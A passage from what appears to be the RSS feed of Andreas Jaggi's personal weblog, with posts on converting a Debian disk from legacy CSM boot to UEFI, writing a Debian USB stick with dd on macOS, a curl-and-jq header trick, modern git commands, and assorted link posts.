  3398. <p><a href="https://www.200ok.com.au/" title="200 OK">Ben Buchanan</a> did run a parody account on this topic and has archived the posts <a href="https://weblog.200ok.com.au/2023/07/the-koncodie-method.html" title="The KonCodie Method | the 200ok weblog">on his site</a>.</p>
  3399. <p>There are some gems :-)</p>
  3400. <blockquote cite="https://weblog.200ok.com.au/2023/07/the-koncodie-method.html#koncodie-02"><p>To choose what to keep and what to throw away, take each dependency in one's manifest and ask: "Does this spark joy?" If it does, keep it. If not, remove it from your codebase.</p></blockquote>
  3401. <blockquote cite="https://weblog.200ok.com.au/2023/07/the-koncodie-method.html#koncodie-08"><p>We should be choosing what to <code>.gitkeep</code>, not what we want to <code>.gitignore</code></p></blockquote>
  3402. <blockquote cite="https://weblog.200ok.com.au/2023/07/the-koncodie-method.html#koncodie-31"><p>Cruft has only two possible causes: too much effort is required to refactor or it is unclear where things belong.</p></blockquote>
  3403. ]]></content:encoded>
  3404.  </item>
  3405.  
  3406.  <item>
  3407.    <title>If you don't fit...</title>
  3408.    <link>https://blog.x-way.org/Misc/2024/05/05/If-you-dont-fit.html</link>
  3409.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324354</guid>
  3410.    <dc:creator>Andreas Jaggi</dc:creator>
  3411.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3412.    <pubDate>Sun, 05 May 2024 20:40:00 +0200</pubDate>
  3413.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  3414.    <description><![CDATA[<p><a href="https://blog.x-way.org/images/if-you-dont-fit.png" title="A sad little puzzle piece is looking at a puzzle with no room for him. The text says &quot;If you don't fit... Maybe you haven't found the right puzzle.&quot; Then the piece joins a puzzle that is full of friendly pieces with lots of room"><img src="https://blog.x-way.org/images/if-you-dont-fit_thumb.png" height="500" width="400" alt="A sad little puzzle piece is looking at a puzzle with no room for him. The text says &quot;If you don't fit... Maybe you haven't found the right puzzle.&quot; Then the piece joins a puzzle that is full of friendly pieces with lots of room"></a></p>
  3415. <p>&quot;If you don't fit... Maybe you haven't found the right puzzle.&quot; &mdash; <a href="https://admiralwonderboat.com/" title="ADMIRAL WONDERBOAT">Admiral</a> <a href="https://mastodon.social/@admiralwonderboat/112368789681867074" title="ADMIRAL WONDERBOAT">Wonderboat</a> (<a href="https://fosstodon.org/@sushee" title="Su-Shee">via</a>)</p>
  3416. ]]></description>
  3417.    <content:encoded><![CDATA[<p><a href="https://blog.x-way.org/images/if-you-dont-fit.png" title="A sad little puzzle piece is looking at a puzzle with no room for him. The text says &quot;If you don't fit... Maybe you haven't found the right puzzle.&quot; Then the piece joins a puzzle that is full of friendly pieces with lots of room"><img src="https://blog.x-way.org/images/if-you-dont-fit_thumb.png" height="500" width="400" alt="A sad little puzzle piece is looking at a puzzle with no room for him. The text says &quot;If you don't fit... Maybe you haven't found the right puzzle.&quot; Then the piece joins a puzzle that is full of friendly pieces with lots of room"></a></p>
  3418. <p>&quot;If you don't fit... Maybe you haven't found the right puzzle.&quot; &mdash; <a href="https://admiralwonderboat.com/" title="ADMIRAL WONDERBOAT">Admiral</a> <a href="https://mastodon.social/@admiralwonderboat/112368789681867074" title="ADMIRAL WONDERBOAT">Wonderboat</a> (<a href="https://fosstodon.org/@sushee" title="Su-Shee">via</a>)</p>
  3419. ]]></content:encoded>
  3420.  </item>
  3421.  
  3422.  <item>
  3423.    <title>Migrate from legacy CSM boot to UEFI boot</title>
  3424.    <link>https://blog.x-way.org/Linux/2024/05/05/Migrate-from-legacy-CSM-boot-to-UEFI-boot.html</link>
  3425.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324355</guid>
  3426.    <dc:creator>Andreas Jaggi</dc:creator>
  3427.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3428.    <pubDate>Sun, 05 May 2024 16:00:00 +0200</pubDate>
  3429.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  3430.    <description><![CDATA[<p>Due to a hardware failure I had to replace one of my computers (switching from a <a href="https://www.galaxus.ch/de/s1/product/intel-nuc-swift-canyon-nuc6i5syh-intel-core-i5-6260u-barebone-5670885" title="Intel NUC SWIFT CANYON NUC6I5SYH">2015 Intel NUC</a> to a <a href="https://www.galaxus.ch/de/s1/product/dell-optiplex-mff-intel-core-i5-12500t-16-gb-512-gb-ssd-pc-40390750" title="Dell OptiPlex MFF">Dell OptiPlex Micro 7010</a>).<br>
  3431. After moving the disk to the new system, it refused to boot (claimed that no bootable drive was available).</p>
  3432. <p>Turns out that the new system only supports UEFI booting and the existing disk was setup for 'legacy'/CSM boot.</p>
  3433. <p>I used the following steps to convert the existing disk to UEFI boot (while keeping all data on it available).<br>They are inspired by the excellent <a href="http://blog.getreu.net/projects/legacy-to-uefi-boot/" title="Switch Debian from legacy to UEFI boot mode">Switch Debian from legacy to UEFI boot mode</a> guide from <a href="https://blog.getreu.net/" title="Jens Getreu">Jens Getreu</a>.</p>
  3434. <ol>
  3435. <li>Disable secure boot in the BIOS to allow booting from an USB stick.</li>
  3436. <li>Create a bootable USB stick with a Debian live system (see <a href="https://blog.x-way.org/Linux/2024/05/05/Create-a-bootable-Debian-USB-stick-on-macOS.html" title="Create a bootable Debian USB stick on macOS">my previous post</a>)</li>
  3437. <li>Boot into the Debian live system</li>
  3438. <li>Identify the disk to work on (<code>/dev/nvme0n1</code> in my case)</li>
  3439. <li>Convert the partition table from MBR to GPT:
  3440. <pre># gdisk /dev/nvme0n1
  3441.  
  3442. r       recovery and transformation options (experts only)
  3443. f       load MBR and build fresh GPT from it
  3444. w write table to disk and exit</pre></li>
  3445. <li>Install gparted into the Debian live system:
  3446. <pre># apt-get install gparted</pre></li>
  3447. <li>Create an UEFI partition and a partition for Grub2:
  3448. <pre># gparted /dev/nvme0n1</pre>
  3449. Resize an existing partition to create space (does not need to be at the beginning of the disk, I used the swap partition).<br>
  3450. Create a new 100MB partition for efi (named "Efi partition"), format it as <code>fat32</code> and flag it <code>bootable</code>.<br>
  3451. Create a new 50MB partition for Grub2 (named "BIOS boot partition"), keep it unformatted.</li>
  3452. <li>Use gdisk to set proper partition codes (<code>EF00</code> for the efi partition and <code>EF02</code> for the Grub2 partition):
  3453. <pre># gdisk /dev/nvme0n1
  3454.  
  3455. p print the partition table
  3456. t change a partition's type code
  3457. t change a partition's type code
  3458. w write table to disk and exit</pre></li>
  3459. <li>Chroot into the on-disk root system:
  3460. <pre># mount -t ext4 /dev/nvme0n1p1 /mnt
  3461. # mkdir /mnt/boot/efi
  3462. # mount /dev/nvme0n1p2 /mnt/boot/efi
  3463. # mount --bind /sys /mnt/sys
  3464. # mount --bind /proc /mnt/proc
  3465. # mount --bind /dev /mnt/dev
  3466. # mount --bind /dev/pts /mnt/dev/pts
  3467. # cp /etc/resolv.conf /mnt/etc/resolv.conf
  3468. # chroot /mnt</pre></li>
  3469. <li>Update /etc/fstab:
  3470. <pre># ls -lisa /dev/disk/by-uuid</pre>
  3471. Identify the UUID of the EFI partition (usually in the format <code>XXXX-XXXX</code>) and add a corresponding line to <code>/etc/fstab</code>:
  3472. <pre># echo "UUID=XXXX-XXXX /boot/efi vfat defaults 0 2" &gt;&gt; /etc/fstab</pre></li>
  3473. <li>Install grub-efi and install Grub2 to the EFI partition:
  3474. <pre># apt-get remove grub-pc
  3475. # apt-get install grub-efi</pre>
  3476. <pre># grub-install /dev/nvme0n1</pre></li>
  3477. <li>Exit the chroot and reboot the system:
  3478. <pre># exit
  3479. # reboot</pre></li>
  3480. <li>Select the Debian bootloader (<code>/EFI/debian/grubx64.efi</code>) in the UEFI BIOS and make it the default :-)</li>
  3481. </ol>
  3482. ]]></description>
  3483.    <content:encoded><![CDATA[<p>Due to a hardware failure I had to replace one of my computers (switching from a <a href="https://www.galaxus.ch/de/s1/product/intel-nuc-swift-canyon-nuc6i5syh-intel-core-i5-6260u-barebone-5670885" title="Intel NUC SWIFT CANYON NUC6I5SYH">2015 Intel NUC</a> to a <a href="https://www.galaxus.ch/de/s1/product/dell-optiplex-mff-intel-core-i5-12500t-16-gb-512-gb-ssd-pc-40390750" title="Dell OptiPlex MFF">Dell OptiPlex Micro 7010</a>).<br>
  3484. After moving the disk to the new system, it refused to boot (claimed that no bootable drive was available).</p>
  3485. <p>Turns out that the new system only supports UEFI booting and the existing disk was setup for 'legacy'/CSM boot.</p>
  3486. <p>I used the following steps to convert the existing disk to UEFI boot (while keeping all data on it available).<br>They are inspired by the excellent <a href="http://blog.getreu.net/projects/legacy-to-uefi-boot/" title="Switch Debian from legacy to UEFI boot mode">Switch Debian from legacy to UEFI boot mode</a> guide from <a href="https://blog.getreu.net/" title="Jens Getreu">Jens Getreu</a>.</p>
  3487. <ol>
  3488. <li>Disable secure boot in the BIOS to allow booting from an USB stick.</li>
  3489. <li>Create a bootable USB stick with a Debian live system (see <a href="https://blog.x-way.org/Linux/2024/05/05/Create-a-bootable-Debian-USB-stick-on-macOS.html" title="Create a bootable Debian USB stick on macOS">my previous post</a>)</li>
  3490. <li>Boot into the Debian live system</li>
  3491. <li>Identify the disk to work on (<code>/dev/nvme0n1</code> in my case)</li>
  3492. <li>Convert the partition table from MBR to GPT:
  3493. <pre># gdisk /dev/nvme0n1
  3494.  
  3495. r       recovery and transformation options (experts only)
  3496. f       load MBR and build fresh GPT from it
  3497. w write table to disk and exit</pre></li>
  3498. <li>Install gparted into the Debian live system:
  3499. <pre># apt-get install gparted</pre></li>
  3500. <li>Create an UEFI partition and a partition for Grub2:
  3501. <pre># gparted /dev/nvme0n1</pre>
  3502. Resize an existing partition to create space (does not need to be at the beginning of the disk, I used the swap partition).<br>
  3503. Create a new 100MB partition for efi (named "Efi partition"), format it as <code>fat32</code> and flag it <code>bootable</code>.<br>
  3504. Create a new 50MB partition for Grub2 (named "BIOS boot partition"), keep it unformatted.</li>
  3505. <li>Use gdisk to set proper partition codes (<code>EF00</code> for the efi partition and <code>EF02</code> for the Grub2 partition):
  3506. <pre># gdisk /dev/nvme0n1
  3507.  
  3508. p print the partition table
  3509. t change a partition's type code
  3510. t change a partition's type code
  3511. w write table to disk and exit</pre></li>
  3512. <li>Chroot into the on-disk root system:
  3513. <pre># mount -t ext4 /dev/nvme0n1p1 /mnt
  3514. # mkdir /mnt/boot/efi
  3515. # mount /dev/nvme0n1p2 /mnt/boot/efi
  3516. # mount --bind /sys /mnt/sys
  3517. # mount --bind /proc /mnt/proc
  3518. # mount --bind /dev /mnt/dev
  3519. # mount --bind /dev/pts /mnt/dev/pts
  3520. # cp /etc/resolv.conf /mnt/etc/resolv.conf
  3521. # chroot /mnt</pre></li>
  3522. <li>Update /etc/fstab:
  3523. <pre># ls -lisa /dev/disk/by-uuid</pre>
  3524. Identify the UUID of the EFI partition (usually in the format <code>XXXX-XXXX</code>) and add a corresponding line to <code>/etc/fstab</code>:
  3525. <pre># echo "UUID=XXXX-XXXX /boot/efi vfat defaults 0 2" &gt;&gt; /etc/fstab</pre></li>
  3526. <li>Install grub-efi and install Grub2 to the EFI partition:
  3527. <pre># apt-get remove grub-pc
  3528. # apt-get install grub-efi</pre>
  3529. <pre># grub-install /dev/nvme0n1</pre></li>
  3530. <li>Exit the chroot and reboot the system:
  3531. <pre># exit
  3532. # reboot</pre></li>
  3533. <li>Select the Debian bootloader (<code>/EFI/debian/grubx64.efi</code>) in the UEFI BIOS and make it the default :-)</li>
  3534. </ol>
  3535. ]]></content:encoded>
  3536.  </item>
  3537.  
  3538.  <item>
  3539.    <title>Create a bootable Debian USB stick on macOS</title>
  3540.    <link>https://blog.x-way.org/Linux/2024/05/05/Create-a-bootable-Debian-USB-stick-on-macOS.html</link>
  3541.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324353</guid>
  3542.    <dc:creator>Andreas Jaggi</dc:creator>
  3543.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3544.    <pubDate>Sun, 05 May 2024 14:39:00 +0200</pubDate>
  3545.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  3546.    <description><![CDATA[<p>Needed to create a bootable Debian USB stick for some maintenance on one of my computers.<br>Here are the steps so I won't have to search for them the next time :-)</p>
  3547. <ol>
  3548. <li>Download the <a href="https://www.debian.org/CD/live/" title="">Debian live CD image</a></li>
  3549. <li>Connect your USB stick and find its device location (/dev/diskX) with: <pre>sudo diskutil list</pre></li>
  3550. <li>If needed unmount your USB stick: <pre>sudo diskutil unmountdisk /dev/diskX</pre></li>
  3551. <li>Write the downloaded image onto the USB stick: <pre>sudo dd if=./debian-live-12.5.0-amd64-standard.iso of=/dev/diskX bs=1m</pre></li>
  3552. </ol>
  3553. ]]></description>
  3554.    <content:encoded><![CDATA[<p>Needed to create a bootable Debian USB stick for some maintenance on one of my computers.<br>Here are the steps so I won't have to search for them the next time :-)</p>
  3555. <ol>
  3556. <li>Download the <a href="https://www.debian.org/CD/live/" title="">Debian live CD image</a></li>
  3557. <li>Connect your USB stick and find its device location (/dev/diskX) with: <pre>sudo diskutil list</pre></li>
  3558. <li>If needed unmount your USB stick: <pre>sudo diskutil unmountdisk /dev/diskX</pre></li>
  3559. <li>Write the downloaded image onto the USB stick: <pre>sudo dd if=./debian-live-12.5.0-amd64-standard.iso of=/dev/diskX bs=1m</pre></li>
  3560. </ol>
  3561. ]]></content:encoded>
  3562.  </item>
  3563.  
  3564.  <item>
  3565.    <title>Tiny Fragments</title>
  3566.    <link>https://blog.x-way.org/Misc/2024/04/24/Tiny-Fragments.html</link>
  3567.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324352</guid>
  3568.    <dc:creator>Andreas Jaggi</dc:creator>
  3569.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3570.    <pubDate>Wed, 24 Apr 2024 21:58:00 +0200</pubDate>
  3571.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  3572.    <description><![CDATA[<p><a href="https://daz.itch.io/tiny-fragments" title="Tiny Fragments by Daniel Moreno">Tiny Fragments</a> is a fun little puzzle game made by <a href="https://www.dazlog.com/" title="Dazlog">Daniel Moreno</a> (<a href="https://gigold.me/links/game-tiny-fragments" title="Game: Tiny Fragments | Thomas Gigold">via</a>)</p>
  3573. <img src="https://blog.x-way.org/images/tiny-fragments.png" height="230" width="400" alt="Tiny Fragments - The Tree">
  3574. ]]></description>
  3575.    <content:encoded><![CDATA[<p><a href="https://daz.itch.io/tiny-fragments" title="Tiny Fragments by Daniel Moreno">Tiny Fragments</a> is a fun little puzzle game made by <a href="https://www.dazlog.com/" title="Dazlog">Daniel Moreno</a> (<a href="https://gigold.me/links/game-tiny-fragments" title="Game: Tiny Fragments | Thomas Gigold">via</a>)</p>
  3576. <img src="https://blog.x-way.org/images/tiny-fragments.png" height="230" width="400" alt="Tiny Fragments - The Tree">
  3577. ]]></content:encoded>
  3578.  </item>
  3579.  
  3580.  <item>
  3581.    <title>Testing HTML with modern CSS</title>
  3582.    <link>https://blog.x-way.org/Webdesign/2024/04/23/Testing-HTML-with-modern-CSS.html</link>
  3583.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324351</guid>
  3584.    <dc:creator>Andreas Jaggi</dc:creator>
  3585.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3586.    <pubDate>Tue, 23 Apr 2024 00:30:00 +0200</pubDate>
  3587.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  3588.    <description><![CDATA[<p>Interesting article explaining how to test HTML with visual CSS highlighting: <a href="https://heydonworks.com/article/testing-html-with-modern-css/" title="Testing HTML with modern CSS: HeydonWorks">Testing HTML with modern CSS</a> (<a href="https://couchblog.de/blog/2024/04/22/links/" title="Links | Couchblog">via</a>)</p>
  3589. ]]></description>
  3590.    <content:encoded><![CDATA[<p>Interesting article explaining how to test HTML with visual CSS highlighting: <a href="https://heydonworks.com/article/testing-html-with-modern-css/" title="Testing HTML with modern CSS: HeydonWorks">Testing HTML with modern CSS</a> (<a href="https://couchblog.de/blog/2024/04/22/links/" title="Links | Couchblog">via</a>)</p>
  3591. ]]></content:encoded>
  3592.  </item>
  3593.  
  3594.  <item>
  3595.    <title>Print HTTP Headers and Pretty-Print JSON Response</title>
  3596.    <link>https://blog.x-way.org/Linux/2024/04/15/Print-HTTP-Headers-and-Pretty-Print-JSON-Response.html</link>
  3597.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324350</guid>
  3598.    <dc:creator>Andreas Jaggi</dc:creator>
  3599.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3600.    <pubDate>Mon, 15 Apr 2024 09:37:00 +0200</pubDate>
  3601.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  3602.    <description><![CDATA[<p>In the <a href="https://susam.net/pretty-print-json-response-with-http-headers.html" title="Print HTTP Headers and Pretty-Print JSON Response - Susam Pal">Print HTTP Headers and Pretty-Print JSON Response</a> post, <a href="https://susam.net/" title="Susam Pal">Susam Pal</a> shows a nice trick to pretty-print JSON output with jq from curl while also showing the HTTP response headers (using stderr):</p>
  3603. <pre>curl -sSD /dev/stderr https://some-URL-returning-JSON | jq .</pre>
  3604. ]]></description>
  3605.    <content:encoded><![CDATA[<p>In the <a href="https://susam.net/pretty-print-json-response-with-http-headers.html" title="Print HTTP Headers and Pretty-Print JSON Response - Susam Pal">Print HTTP Headers and Pretty-Print JSON Response</a> post, <a href="https://susam.net/" title="Susam Pal">Susam Pal</a> shows a nice trick to pretty-print JSON output with jq from curl while also showing the HTTP response headers (using stderr):</p>
  3606. <pre>curl -sSD /dev/stderr https://some-URL-returning-JSON | jq .</pre>
  3607. ]]></content:encoded>
  3608.  </item>
  3609.  
  3610.  <item>
  3611.    <title>Modern Git Commands and Features You Should Be Using</title>
  3612.    <link>https://blog.x-way.org/Coding/2024/04/13/Modern-Git-Commands-and-Features-You-Should-Be-Using.html</link>
  3613.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324349</guid>
  3614.    <dc:creator>Andreas Jaggi</dc:creator>
  3615.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3616.    <pubDate>Sat, 13 Apr 2024 20:37:00 +0200</pubDate>
  3617.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  3618.    <description><![CDATA[<p><a href="https://martinheinz.dev/blog/109" title="Modern Git Commands and Features You Should Be Using | Martin Heinz | Personal Website &amp; Blog">Modern Git Commands and Features You Should Be Using</a> &mdash; a short article from <a href="https://martinheinz.dev/" title="Martin Heinz | Personal Website &amp; Blog">Martin Heinz</a> about some new-ish (&gt;2018) features in <a href="https://git-scm.com/" title="Git">Git</a>, that 'can make your life so much easier'.</p>
  3619. <p>TL;DR:</p>
  3620. <ul>
  3621. <li><code>git switch &lt;branchname&gt;</code></li>
  3622. <li><code>git restore --staged &lt;somefile&gt;</code></li>
  3623. <li><code>git restore --source &lt;commit&gt; &lt;somefile&gt;</code></li>
  3624. <li><code>git sparse-checkout</code></li>
  3625. <li><code>git worktree</code></li>
  3626. <li><code>git bisect</code></li>
  3627. </ul>
  3628. <p>Similar post from five years ago: <a href="https://blog.x-way.org/Coding/2019/05/25/More-productive-Git.html" title="More productive Git - x-log">More productive Git</a></p>
  3629. ]]></description>
  3630.    <content:encoded><![CDATA[<p><a href="https://martinheinz.dev/blog/109" title="Modern Git Commands and Features You Should Be Using | Martin Heinz | Personal Website &amp; Blog">Modern Git Commands and Features You Should Be Using</a> &mdash; a short article from <a href="https://martinheinz.dev/" title="Martin Heinz | Personal Website &amp; Blog">Martin Heinz</a> about some new-ish (&gt;2018) features in <a href="https://git-scm.com/" title="Git">Git</a>, that 'can make your life so much easier'.</p>
  3631. <p>TL;DR:</p>
  3632. <ul>
  3633. <li><code>git switch &lt;branchname&gt;</code></li>
  3634. <li><code>git restore --staged &lt;somefile&gt;</code></li>
  3635. <li><code>git restore --source &lt;commit&gt; &lt;somefile&gt;</code></li>
  3636. <li><code>git sparse-checkout</code></li>
  3637. <li><code>git worktree</code></li>
  3638. <li><code>git bisect</code></li>
  3639. </ul>
  3640. <p>Similar post from five years ago: <a href="https://blog.x-way.org/Coding/2019/05/25/More-productive-Git.html" title="More productive Git - x-log">More productive Git</a></p>
  3641. ]]></content:encoded>
  3642.  </item>
  3643.  
  3644.  <item>
  3645.    <title>NTP IPs</title>
  3646.    <link>https://blog.x-way.org/Networking/2024/04/11/NTP-IPs.html</link>
  3647.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324348</guid>
  3648.    <dc:creator>Andreas Jaggi</dc:creator>
  3649.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3650.    <pubDate>Thu, 11 Apr 2024 21:41:00 +0200</pubDate>
  3651.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  3652.    <description><![CDATA[<p>This <a href="https://rachelbythebay.com/w/2024/04/10/rtc/" title="Going in circles without a real-time clock">post</a> from Rachel, reminded me of my own struggle with a Raspberry Pi and time (and yes, I did run into the same DNSSEC problem).<br>I first tried a RTC shield, but this didn't fully solve all problems.</p>
  3653. <p>My workaround in the end is to use two fixed IP addresses in ntp.conf in additon to the usual pool servers.<br>Thanks ${previous employer} for not changing the IPs of your public NTP servers so far :-)</p>
  3654. ]]></description>
  3655.    <content:encoded><![CDATA[<p>This <a href="https://rachelbythebay.com/w/2024/04/10/rtc/" title="Going in circles without a real-time clock">post</a> from Rachel, reminded me of my own struggle with a Raspberry Pi and time (and yes, I did run into the same DNSSEC problem).<br>I first tried a RTC shield, but this didn't fully solve all problems.</p>
  3656. <p>My workaround in the end is to use two fixed IP addresses in ntp.conf in additon to the usual pool servers.<br>Thanks ${previous employer} for not changing the IPs of your public NTP servers so far :-)</p>
  3657. ]]></content:encoded>
  3658.  </item>
  3659.  
  3660.  <item>
  3661.    <title>Back on native IPv6</title>
  3662.    <link>https://blog.x-way.org/Networking/2024/04/10/Back-on-native-IPv6.html</link>
  3663.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324347</guid>
  3664.    <dc:creator>Andreas Jaggi</dc:creator>
  3665.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3666.    <pubDate>Wed, 10 Apr 2024 20:28:00 +0200</pubDate>
  3667.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  3668.    <description><![CDATA[<p>As hinted at in my <a href="https://blog.x-way.org/Networking/2024/04/10/SixSpotting-still-going-on.html" title="SixSpotting still going on - x-log">previous post</a>, Solnet is delivering native IPv6 Internet again.</p>
  3669. <p>Shortly after 23h on March 26th there was a brief interruption of the Internet uplink and afterwards my router started receiving an IPv6 address again.<br>My <a href="https://blog.x-way.org/Networking/2024/02/25/Tunnelbroker-to-the-rescue.html" title="Tunnelbroker to the rescue - x-log">support ticket with Solnet</a> is still unanswered, but at least IPv6 is back :-)</p>
  3670. ]]></description>
  3671.    <content:encoded><![CDATA[<p>As hinted at in my <a href="https://blog.x-way.org/Networking/2024/04/10/SixSpotting-still-going-on.html" title="SixSpotting still going on - x-log">previous post</a>, Solnet is delivering native IPv6 Internet again.</p>
  3672. <p>Shortly after 23h on March 26th there was a brief interruption of the Internet uplink and afterwards my router started receiving an IPv6 address again.<br>My <a href="https://blog.x-way.org/Networking/2024/02/25/Tunnelbroker-to-the-rescue.html" title="Tunnelbroker to the rescue - x-log">support ticket with Solnet</a> is still unanswered, but at least IPv6 is back :-)</p>
  3673. ]]></content:encoded>
  3674.  </item>
  3675.  
  3676.  <item>
  3677.    <title>SixSpotting still going on</title>
  3678.    <link>https://blog.x-way.org/Networking/2024/04/10/SixSpotting-still-going-on.html</link>
  3679.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324346</guid>
  3680.    <dc:creator>Andreas Jaggi</dc:creator>
  3681.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3682.    <pubDate>Wed, 10 Apr 2024 19:05:00 +0200</pubDate>
  3683.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  3684.    <description><![CDATA[<p>While browsing through the archives I stumbled upon the <a href="https://blog.x-way.org/Networking/2014/11/02/SixSpotting.html" title="SixSpotting - x-log">SixSpotting post</a> from 2014.<br>Turns out <a href="https://game.flyingpenguintech.org/" title="SixSpotting">the game</a> is still working and after some failed attempts I managed to remember my account name and log in.<br>I guess it must look quite strange to see a burst of new checkins after almost 10 years &#x1F604;</p>
  3685. <p><img src="https://blog.x-way.org/images/sixspotting-2024.png" width="420" height="87" alt="My last 5 SixSpotting checkins" /></p>
  3686. ]]></description>
  3687.    <content:encoded><![CDATA[<p>While browsing through the archives I stumbled upon the <a href="https://blog.x-way.org/Networking/2014/11/02/SixSpotting.html" title="SixSpotting - x-log">SixSpotting post</a> from 2014.<br>Turns out <a href="https://game.flyingpenguintech.org/" title="SixSpotting">the game</a> is still working and after some failed attempts I managed to remember my account name and log in.<br>I guess it must look quite strange to see a burst of new checkins after almost 10 years &#x1F604;</p>
  3688. <p><img src="https://blog.x-way.org/images/sixspotting-2024.png" width="420" height="87" alt="My last 5 SixSpotting checkins" /></p>
  3689. ]]></content:encoded>
  3690.  </item>
  3691.  
  3692.  <item>
  3693.    <title>humans.txt</title>
  3694.    <link>https://blog.x-way.org/Webdesign/2024/04/07/humans-txt.html</link>
  3695.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324345</guid>
  3696.    <dc:creator>Andreas Jaggi</dc:creator>
  3697.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3698.    <pubDate>Sun, 07 Apr 2024 19:10:00 +0200</pubDate>
  3699.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  3700.    <description><![CDATA[<p>After following a couple links from the article linked in the previous blogpost, I ended up reading the <a href="https://shellsharks.com/notes/2023/08/15/website-component-checklist" title="Website Component Checklis">Website Component Checklist</a> from <a href="https://shellsharks.com/about" title="Mike Sass">Mike Sass</a>.<br>It provides again a lot of inspiration for things to add to my weblog.<br>What intrigued me today on the list was <a href="https://web.archive.org/web/20240330061550/https://humanstxt.org/" title="Humans TXT: We Are People, Not Machines.">humans.txt</a>, which is an initiative for knowing the people behing a website.</p>
  3701. <p>Thus I've now added the following <a href="https://blog.x-way.org/humans.txt" title="x-log - Humans TXT">humans.txt</a>.</p>
  3702. ]]></description>
  3703.    <content:encoded><![CDATA[<p>After following a couple links from the article linked in the previous blogpost, I ended up reading the <a href="https://shellsharks.com/notes/2023/08/15/website-component-checklist" title="Website Component Checklis">Website Component Checklist</a> from <a href="https://shellsharks.com/about" title="Mike Sass">Mike Sass</a>.<br>It provides again a lot of inspiration for things to add to my weblog.<br>What intrigued me today on the list was <a href="https://web.archive.org/web/20240330061550/https://humanstxt.org/" title="Humans TXT: We Are People, Not Machines.">humans.txt</a>, which is an initiative for knowing the people behing a website.</p>
  3704. <p>Thus I've now added the following <a href="https://blog.x-way.org/humans.txt" title="x-log - Humans TXT">humans.txt</a>.</p>
  3705. ]]></content:encoded>
  3706.  </item>
  3707.  
  3708.  <item>
  3709.    <title>100 more things you can do with your personal website</title>
  3710.    <link>https://blog.x-way.org/Misc/2024/04/07/100-more-things-you-can-do-with-your-personal-website.html</link>
  3711.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324344</guid>
  3712.    <dc:creator>Andreas Jaggi</dc:creator>
  3713.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3714.    <pubDate>Sun, 07 Apr 2024 17:32:00 +0200</pubDate>
  3715.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  3716.    <description><![CDATA[<p><a href="https://jamesg.blog/2024/03/10/100-more-personal-website-ideas/" title="100 (more) things you can do with your personal website | James' Coffee Blog">100 more things you can do with your personal website</a> &mdash; a follow-up to the <a href="https://blog.x-way.org/Misc/2024/03/07/100-things-you-can-do-on-your-personal-website.html" title="x-log - 100 things you can do on your personal website">popular post</a> from last month :-)</p>
  3717. ]]></description>
  3718.    <content:encoded><![CDATA[<p><a href="https://jamesg.blog/2024/03/10/100-more-personal-website-ideas/" title="100 (more) things you can do with your personal website | James' Coffee Blog">100 more things you can do with your personal website</a> &mdash; a follow-up to the <a href="https://blog.x-way.org/Misc/2024/03/07/100-things-you-can-do-on-your-personal-website.html" title="x-log - 100 things you can do on your personal website">popular post</a> from last month :-)</p>
  3719. ]]></content:encoded>
  3720.  </item>
  3721.  
  3722.  <item>
  3723.    <title>Dog Poo Golf</title>
  3724.    <link>https://blog.x-way.org/Misc/2024/04/03/Dog-Poo-Golf.html</link>
  3725.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324343</guid>
  3726.    <dc:creator>Andreas Jaggi</dc:creator>
  3727.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3728.    <pubDate>Wed, 03 Apr 2024 08:03:00 +0200</pubDate>
  3729.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  3730.    <description><![CDATA[<p><img src="https://blog.x-way.org/images/dog-poo-golf.png" width="480" height="347" alt="Dog Poo Golf start screen" /></p>
